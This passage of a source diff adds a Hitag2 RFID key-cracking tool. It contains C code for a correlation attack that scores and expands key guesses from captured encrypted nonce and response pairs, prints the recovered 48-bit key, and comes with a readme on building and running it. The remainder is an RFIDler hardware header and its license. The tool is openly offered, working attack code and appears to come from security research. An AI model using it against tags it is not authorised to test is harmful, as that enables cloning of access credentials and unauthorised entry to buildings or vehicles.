||||
}
|
||||
|
||||
for (i=0; i<num_nRaR; i++) {
|
||||
// calc next b
|
||||
// create lfsr - lower 32 bits is uid, upper 16 bits are lower 16 bits of key
|
||||
// then shift by size - 16, insert upper key XOR enc_nonce XOR bitstream,
|
||||
// and calc new bit b
|
||||
lfsr = (uid >> (size - 16)) | ((g->key << (48 - size)) ^
|
||||
((nonces[i].enc_nR ^ g->b0to31[i]) << (64 - size)));
|
||||
g->b0to31[i] = g->b0to31[i] | (ht2crypt(lfsr) << (size - 16));
|
||||
|
||||
// create lfsr - lower 16 bits are lower 16 bits of key
|
||||
// bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream
|
||||
lfsr = g->key ^ ((nonces[i].enc_nR ^ g->b0to31[i]) << 16);
|
||||
|
||||
sc = score(lfsr, size, nonces[i].ks, 32);
|
||||
|
||||
// look out for losers
|
||||
if (sc == 0.0) {
|
||||
g->score = 0.0;
|
||||
return;
|
||||
}
|
||||
total_score = total_score + sc;
|
||||
}
|
||||
|
||||
// save average score
|
||||
g->score = total_score / num_nRaR;
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* score_all_traces runs score_traces for every key guess in the table */
|
||||
/* this was used in the non-threaded version */
|
||||
/*
|
||||
void score_all_traces(unsigned int size)
|
||||
{
|
||||
unsigned int i;
|
||||
|
||||
for (i=0; i<num_guesses; i++) {
|
||||
score_traces(&(guesses[i]), size);
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
/* score_some_traces runs score_traces for every key guess in a section of the table */
|
||||
void *score_some_traces(void *data)
|
||||
{
|
||||
unsigned int i;
|
||||
struct thread_data *tdata = (struct thread_data *)data;
|
||||
|
||||
for (i=tdata->start; i<tdata->end; i++) {
|
||||
score_traces(&(guesses[i]), tdata->size);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/* score_all_traces runs score_traces for every key guess in the table */
|
||||
void score_all_traces(unsigned int size)
|
||||
{
|
||||
pthread_t threads[NUM_THREADS];
|
||||
void *status;
|
||||
struct thread_data tdata[NUM_THREADS];
|
||||
unsigned int i;
|
||||
unsigned int chunk_size;
|
||||
|
||||
chunk_size = num_guesses / NUM_THREADS;
|
||||
|
||||
// create thread data
|
||||
for (i=0; i<NUM_THREADS; i++) {
|
||||
tdata[i].start = i * chunk_size;
|
||||
tdata[i].end = (i+1) * chunk_size;
|
||||
tdata[i].size = size;
|
||||
}
|
||||
|
||||
// fix last chunk
|
||||
tdata[NUM_THREADS - 1].end = num_guesses;
|
||||
|
||||
// start the threads
|
||||
for (i=0; i<NUM_THREADS; i++) {
|
||||
if (pthread_create(&(threads[i]), NULL, score_some_traces, (void *)(tdata + i))) {
|
||||
printf("cannot start thread %d\n", i);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
// wait for threads to end
|
||||
for (i=0; i<NUM_THREADS; i++) {
|
||||
if (pthread_join(threads[i], &status)) {
|
||||
printf("cannot join thread %d\n", i);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* cmp_guess is the comparison function for qsorting the guess table */
|
||||
int cmp_guess(const void *a, const void *b)
|
||||
{
|
||||
struct guess *a1 = (struct guess *)a;
|
||||
struct guess *b1 = (struct guess *)b;
|
||||
|
||||
if (a1->score < b1->score) {
|
||||
return 1;
|
||||
} else if (a1->score > b1->score) {
|
||||
return -1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* expand all guesses in first half of (sorted) table by
|
||||
* copying them into the second half and extending the copied
|
||||
* ones with an extra 1, leaving the first half with an extra 0 */
|
||||
void expand_guesses(unsigned int halfsize, unsigned int size)
|
||||
{
|
||||
unsigned int i, j;
|
||||
|
||||
for (i=0; i<halfsize; i++) {
|
||||
guesses[i+halfsize].key = guesses[i].key | (1l << size);
|
||||
guesses[i+halfsize].score = guesses[i].score;
|
||||
for (j=0; j<num_nRaR; j++) {
|
||||
guesses[i+halfsize].b0to31[j] = guesses[i].b0to31[j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* checks if the supplied test key is still in the table, which
|
||||
* is useful when testing different scoring methods */
|
||||
void check_supplied_testkey(unsigned int size)
|
||||
{
|
||||
uint64_t partkey;
|
||||
unsigned int i;
|
||||
|
||||
partkey = supplied_testkey & ((1l << size) - 1);
|
||||
|
||||
for (i=0; i<num_guesses; i++) {
|
||||
if (guesses[i].key == partkey) {
|
||||
fprintf(stderr, " supplied test key score = %1.10f, position = %d\n", guesses[i].score, i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "TEST KEY NO LONGER IN GUESSES\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
/* execute_round scores the guesses, sorts them and expands the good half */
|
||||
void execute_round(unsigned int size)
|
||||
{
|
||||
unsigned int halfsize;
|
||||
|
||||
// score all the current guesses
|
||||
score_all_traces(size);
|
||||
|
||||
// sort the guesses by score
|
||||
qsort(guesses, num_guesses, sizeof(struct guess), cmp_guess);
|
||||
|
||||
if (supplied_testkey) {
|
||||
check_supplied_testkey(size);
|
||||
}
|
||||
|
||||
// identify limit
|
||||
if (num_guesses < (maxtablesize / 2)) {
|
||||
halfsize = num_guesses;
|
||||
} else {
|
||||
halfsize = (maxtablesize / 2);
|
||||
}
|
||||
|
||||
// expand guesses
|
||||
expand_guesses(halfsize, size);
|
||||
|
||||
num_guesses = halfsize * 2;
|
||||
}
|
||||
|
||||
|
||||
/* crack is the main cracking algo; it executes the rounds */
|
||||
void crack()
|
||||
{
|
||||
unsigned int i;
|
||||
uint64_t revkey;
|
||||
uint64_t foundkey;
|
||||
|
||||
for (i=16; i<=48; i++) {
|
||||
fprintf(stderr, "round %2d, size=%2d\n", i-16, i);
|
||||
execute_round(i);
|
||||
|
||||
// print some metrics
|
||||
revkey = rev64(guesses[0].key);
|
||||
foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
|
||||
fprintf(stderr, " guess=%012" PRIx64 ", num_guesses = %d, top score=%1.10f, min score=%1.10f\n", foundkey, num_guesses, guesses[0].score, guesses[num_guesses - 1].score);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* test function to make sure I know how the LFSR works */
|
||||
void testkey(uint64_t key)
|
||||
{
|
||||
uint64_t i;
|
||||
uint64_t b0to31 = 0;
|
||||
uint64_t ks = 0;
|
||||
uint64_t lfsr;
|
||||
uint64_t nRxorkey;
|
||||
Hitag_State hstate;
|
||||
|
||||
printf("ORIG REFERENCE\n");
|
||||
hitag2_init(&hstate, key, uid, nonces[0].enc_nR);
|
||||
printf("after init with key, uid, nR:\n");
|
||||
printstate(&hstate);
|
||||
b0to31 = 0;
|
||||
for (i=0; i<32; i++) {
|
||||
b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31);
|
||||
}
|
||||
printf("ks = 0x%08" PRIx64 ", enc_aR = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 "\n", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31);
|
||||
printstate(&hstate);
|
||||
|
||||
printf("\n");
|
||||
|
||||
|
||||
printf("MY REFERENCE\n");
|
||||
// build initial lfsr
|
||||
lfsr = uid | ((key & 0xffff) << 32);
|
||||
b0to31 = 0;
|
||||
// xor upper part of key with encrypted nonce
|
||||
nRxorkey = nonces[0].enc_nR ^ (key >> 16);
|
||||
// insert keyupper xor encrypted nonce xor ks
|
||||
for (i=0; i<32; i++) {
|
||||
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
|
||||
b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31);
|
||||
// insert new bit
|
||||
lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48);
|
||||
// shift lfsr
|
||||
lfsr = lfsr >> 1;
|
||||
}
|
||||
printf("after init with key, uid, nR:\n");
|
||||
printf("lfsr =\t\t");
|
||||
printbin2(lfsr, 48);
|
||||
printf("\n");
|
||||
|
||||
// iterate lfsr with fnL, extracting ks
|
||||
for (i=0; i<32; i++) {
|
||||
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
|
||||
ks = (ks >> 1) | (ht2crypt(lfsr) << 31);
|
||||
// insert new bit
|
||||
lfsr = lfsr | (fnL(lfsr) << 48);
|
||||
// shift lfsr
|
||||
lfsr = lfsr >> 1;
|
||||
}
|
||||
|
||||
printf("ks = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 ", ks(orig) = 0x%08" PRIx64 ", aR(orig) = %08" PRIx64 "\n", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff);
|
||||
printf("lfsr = \t\t");
|
||||
printbin2(lfsr, 48);
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
|
||||
/* test function to generate test data */
|
||||
void gen_bitstreams_testks(struct guess *g, uint64_t key)
|
||||
{
|
||||
unsigned int i, j;
|
||||
uint64_t nRxorkey, lfsr, ks;
|
||||
|
||||
for (j=0; j<num_nRaR; j++) {
|
||||
|
||||
// build initial lfsr
|
||||
lfsr = uid | ((key & 0xffff) << 32);
|
||||
g->b0to31[j] = 0;
|
||||
// xor upper part of key with encrypted nonce
|
||||
nRxorkey = nonces[j].enc_nR ^ (key >> 16);
|
||||
// insert keyupper xor encrypted nonce xor ks
|
||||
for (i=0; i<32; i++) {
|
||||
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
|
||||
g->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31);
|
||||
// insert new bit
|
||||
lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48);
|
||||
// shift lfsr
|
||||
lfsr = lfsr >> 1;
|
||||
}
|
||||
|
||||
ks = 0;
|
||||
// iterate lfsr with fnL, extracting ks
|
||||
for (i=0; i<32; i++) {
|
||||
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
|
||||
ks = (ks >> 1) | (ht2crypt(lfsr) << 31);
|
||||
// insert new bit
|
||||
lfsr = lfsr | (fnL(lfsr) << 48);
|
||||
// shift lfsr
|
||||
lfsr = lfsr >> 1;
|
||||
}
|
||||
|
||||
printf("orig ks = 0x%08" PRIx64 ", gen ks = 0x%08" PRIx64 ", b0to31 = 0x%08" PRIx64 "\n", nonces[j].ks, ks, g->b0to31[j]);
|
||||
if (nonces[j].ks != ks) {
|
||||
printf(" FAIL!\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* test function */
|
||||
void test()
|
||||
{
|
||||
uint64_t lfsr;
|
||||
uint64_t packed;
|
||||
|
||||
uint64_t i;
|
||||
|
||||
|
||||
for (i=0; i<1000; i++) {
|
||||
lfsr = ((uint64_t)rand() << 32) | rand();
|
||||
packed = packstate(lfsr);
|
||||
|
||||
if (hitag2_crypt(lfsr) != f20(packed)) {
|
||||
printf(" * * * FAIL: %3" PRIu64 ": 0x%012" PRIx64 " = %d, 0x%012" PRIx64 " = 0x%05" PRIx64 "\n", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed));
|
||||
}
|
||||
}
|
||||
|
||||
printf("test done\n");
|
||||
}
|
||||
|
||||
|
||||
/* check_key tests the potential key against an encrypted nonce, ks pair */
|
||||
int check_key(uint64_t key, uint64_t enc_nR, uint64_t ks)
|
||||
{
|
||||
Hitag_State hstate;
|
||||
uint64_t bits;
|
||||
int i;
|
||||
|
||||
hitag2_init(&hstate, key, uid, enc_nR);
|
||||
bits = 0;
|
||||
for (i=0; i<32; i++) {
|
||||
bits = (bits >> 1) | (hitag2_nstep(&hstate, 1) << 31);
|
||||
}
|
||||
if (ks == bits) {
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* start up */
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
unsigned int i;
|
||||
uint64_t revkey;
|
||||
uint64_t foundkey;
|
||||
int tot_nRaR = 0;
|
||||
char c;
|
||||
char *uidstr = NULL;
|
||||
char *noncefilestr = NULL;
|
||||
|
||||
// test();
|
||||
// exit(0);
|
||||
|
||||
while ((c = getopt(argc, argv, "u:n:N:t:T:h")) != -1) {
|
||||
switch(c) {
|
||||
case 'u':
|
||||
uidstr = optarg;
|
||||
break;
|
||||
case 'n':
|
||||
noncefilestr = optarg;
|
||||
break;
|
||||
case 'N':
|
||||
tot_nRaR = atoi(optarg);
|
||||
break;
|
||||
case 't':
|
||||
maxtablesize = atoi(optarg);
|
||||
break;
|
||||
case 'T':
|
||||
supplied_testkey = rev64(hexreversetoulonglong(optarg));
|
||||
break;
|
||||
case 'h':
|
||||
usage();
|
||||
break;
|
||||
default:
|
||||
usage();
|
||||
}
|
||||
}
|
||||
|
||||
if (!uidstr || !noncefilestr || (maxtablesize <= 0)) {
|
||||
usage();
|
||||
}
|
||||
|
||||
create_guess_table();
|
||||
|
||||
init_guess_table(noncefilestr, uidstr);
|
||||
|
||||
if ((tot_nRaR > 0) && (tot_nRaR <= num_nRaR)) {
|
||||
num_nRaR = tot_nRaR;
|
||||
}
|
||||
fprintf(stderr, "Using %d nRaR pairs\n", num_nRaR);
|
||||
|
||||
crack();
|
||||
|
||||
// test all key guesses and stop if one works
|
||||
for (i=0; i<num_guesses; i++) {
|
||||
if (check_key(guesses[i].key, nonces[0].enc_nR, nonces[0].ks) &&
|
||||
check_key(guesses[i].key, nonces[1].enc_nR, nonces[1].ks)) {
|
||||
printf("WIN!!! :)\n");
|
||||
revkey = rev64(guesses[i].key);
|
||||
foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
|
||||
printf("key = %012" PRIX64 "\n", foundkey);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
printf("FAIL :( - none of the potential keys in the table are correct.\n");
|
||||
exit(1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
29
tools/hitag2crack/crack4/readme.md
Normal file
29
tools/hitag2crack/crack4/readme.md
Normal file
|
@ -0,0 +1,29 @@
|
|||
ht2crack4
|
||||
|
||||
|
||||
|
||||
Build
|
||||
-----
|
||||
|
||||
make clean
|
||||
make
|
||||
|
||||
|
||||
Run
|
||||
---
|
||||
|
||||
You'll need a file consisting of 16 (or more) nR aR pairs. These are the
|
||||
encrypted nonces and challenge response values. They should be in hex with
|
||||
one pair per line, e.g.:
|
||||
0x12345678 0x9abcdef0
|
||||
|
||||
./ht2crack4 -u UID -n NRARFILE [-N nonces to use] [-t table size]
|
||||
|
||||
UID is the UID of the tag that you used to gather the nR aR values.
|
||||
NRARFILE is the file containing the nR aR values.
|
||||
The number of nonces to use allows you to use less than 32 nonces to increase
|
||||
speed.
|
||||
The table size can be tweaked for speed. Start with 500000 and double it each
|
||||
time it fails to find the key.
|
||||
|
||||
|
412
tools/hitag2crack/crack4/rfidler.h
Normal file
412
tools/hitag2crack/crack4/rfidler.h
Normal file
|
@ -0,0 +1,412 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// BCD hardware revision for usb descriptor (usb_descriptors.c)
|
||||
#define RFIDLER_HW_VERSION 0x020
|
||||
|
||||
// max sizes in BITS
|
||||
#define MAXBLOCKSIZE 512
|
||||
#define MAXTAGSIZE 4096
|
||||
#define MAXUID 512
|
||||
|
||||
#define TMP_LARGE_BUFF_LEN 2048
|
||||
#define TMP_SMALL_BUFF_LEN 256
|
||||
#define ANALOGUE_BUFF_LEN 8192
|
||||
|
||||
#define COMMS_BUFFER_SIZE 128
|
||||
|
||||
#define DETECT_BUFFER_SIZE 512
|
||||
|
||||
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
|
||||
|
||||
// globals
|
||||
|
||||
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
|
||||
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
|
||||
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
|
||||
extern BYTE EMU_ThisBit; // The next data bit to transmit
|
||||
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
|
||||
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
|
||||
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
|
||||
extern BOOL EMU_Background; // Emulate in the background until told to stop
|
||||
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
|
||||
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
|
||||
extern BYTE ReaderPeriod; // Flag for sample display
|
||||
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
|
||||
extern BYTE Interface; // user interface - CLI or API
|
||||
extern BYTE CommsChannel; // user comms channel - USB or UART
|
||||
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
|
||||
extern BOOL PWD_Mode; // is this tag password protected?
|
||||
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
|
||||
extern unsigned int Led_Count; // LED status counter, also used for entropy
|
||||
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
|
||||
extern char Previous; // Reader ISR previous bit type
|
||||
|
||||
// RWD (read/write device) coil state
|
||||
extern BYTE RWD_State; // current state of RWD coil
|
||||
extern unsigned int RWD_Fc; // field clock in uS
|
||||
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
|
||||
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
|
||||
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
|
||||
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
|
||||
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
|
||||
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
|
||||
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
|
||||
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
|
||||
extern unsigned int RWD_OC5_config; // Output Compare Module settings
|
||||
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
|
||||
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
|
||||
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
|
||||
extern BYTE *RWD_Command_ThisBit; // Current command bit
|
||||
extern BOOL Reader_ISR_State; // current state of reader ISR
|
||||
|
||||
// NVM variables
|
||||
// timings etc. that want to survive a reboot should go here
|
||||
typedef struct {
|
||||
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
|
||||
BYTE AutoRun[128]; // optional command to run at startup
|
||||
unsigned char TagType;
|
||||
unsigned int PSK_Quality;
|
||||
unsigned int Timeout;
|
||||
unsigned int Wiegand_Pulse;
|
||||
unsigned int Wiegand_Gap;
|
||||
BOOL Wiegand_IdleState;
|
||||
unsigned int FrameClock;
|
||||
unsigned char Modulation;
|
||||
unsigned int DataRate;
|
||||
unsigned int DataRateSub0;
|
||||
unsigned int DataRateSub1;
|
||||
unsigned int DataBits;
|
||||
unsigned int DataBlocks;
|
||||
unsigned int BlockSize;
|
||||
unsigned char SyncBits;
|
||||
BYTE Sync[4];
|
||||
BOOL BiPhase;
|
||||
BOOL Invert;
|
||||
BOOL Manchester;
|
||||
BOOL HalfDuplex;
|
||||
unsigned int Repeat;
|
||||
unsigned int PotLow;
|
||||
unsigned int PotHigh;
|
||||
unsigned int RWD_Gap_Period;
|
||||
unsigned int RWD_Zero_Period;
|
||||
unsigned int RWD_One_Period;
|
||||
unsigned int RWD_Sleep_Period;
|
||||
unsigned int RWD_Wake_Period;
|
||||
unsigned int RWD_Wait_Switch_TX_RX;
|
||||
unsigned int RWD_Wait_Switch_RX_TX;
|
||||
} StoredConfig;
|
||||
|
||||
// somewhere to store TAG data. this will be interpreted according to the TAG
|
||||
// type.
|
||||
typedef struct {
|
||||
BYTE TagType; // raw tag type
|
||||
BYTE EmulatedTagType; // tag type this tag is configured to emulate
|
||||
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
|
||||
BYTE Data[MAXTAGSIZE]; // raw data
|
||||
unsigned char DataBlocks; // number of blocks in Data field
|
||||
unsigned int BlockSize; // blocksize in bits
|
||||
} VirtualTag;
|
||||
|
||||
extern StoredConfig RFIDlerConfig;
|
||||
extern VirtualTag RFIDlerVTag;
|
||||
extern BYTE TmpBuff[NVM_PAGE_SIZE];
|
||||
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
|
||||
extern unsigned int DataBuffCount;
|
||||
extern const BYTE *ModulationSchemes[];
|
||||
extern const BYTE *OnOff[];
|
||||
extern const BYTE *HighLow[];
|
||||
extern const BYTE *TagTypes[];
|
||||
|
||||
// globals for ISRs
|
||||
extern BYTE EmulationMode;
|
||||
extern unsigned long HW_Bits;
|
||||
extern BYTE HW_Skip_Bits;
|
||||
extern unsigned int PSK_Min_Pulse;
|
||||
extern BOOL PSK_Read_Error;
|
||||
extern BOOL Manchester_Error;
|
||||
extern BOOL SnifferMode;
|
||||
extern unsigned int Clock_Tick_Counter;
|
||||
extern BOOL Clock_Tick_Counter_Reset;
|
||||
|
||||
// smart card lib
|
||||
#define MAX_ATR_LEN (BYTE)33
|
||||
extern BYTE scCardATR[MAX_ATR_LEN];
|
||||
extern BYTE scATRLength;
|
||||
|
||||
// RTC
|
||||
extern rtccTime RTC_time; // time structure
|
||||
extern rtccDate RTC_date; // date structure
|
||||
|
||||
// digital pots
|
||||
#define POTLOW_DEFAULT 100
|
||||
#define POTHIGH_DEFAULT 150
|
||||
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
|
||||
#define VOLTS_TO_POT 0.019607843F
|
||||
|
||||
// RWD/clock states
|
||||
#define RWD_STATE_INACTIVE 0 // RWD not in use
|
||||
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
|
||||
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
|
||||
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
|
||||
#define RWD_STATE_START_SEND 4 // RWD starting send of data
|
||||
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
|
||||
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
|
||||
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
|
||||
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
|
||||
|
||||
// reader ISR states
|
||||
#define READER_STOPPED 0 // reader not in use
|
||||
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
|
||||
#define READER_RUNNING 2 // reader reading bits
|
||||
|
||||
|
||||
// user interface types
|
||||
#define INTERFACE_API 0
|
||||
#define INTERFACE_CLI 1
|
||||
|
||||
// comms channel
|
||||
#define COMMS_NONE 0
|
||||
#define COMMS_USB 1
|
||||
#define COMMS_UART 2
|
||||
|
||||
#define MAX_HISTORY 2 // disable most of history for now - memory issue
|
||||
|
||||
// tag write retries
|
||||
#define TAG_WRITE_RETRY 5
|
||||
|
||||
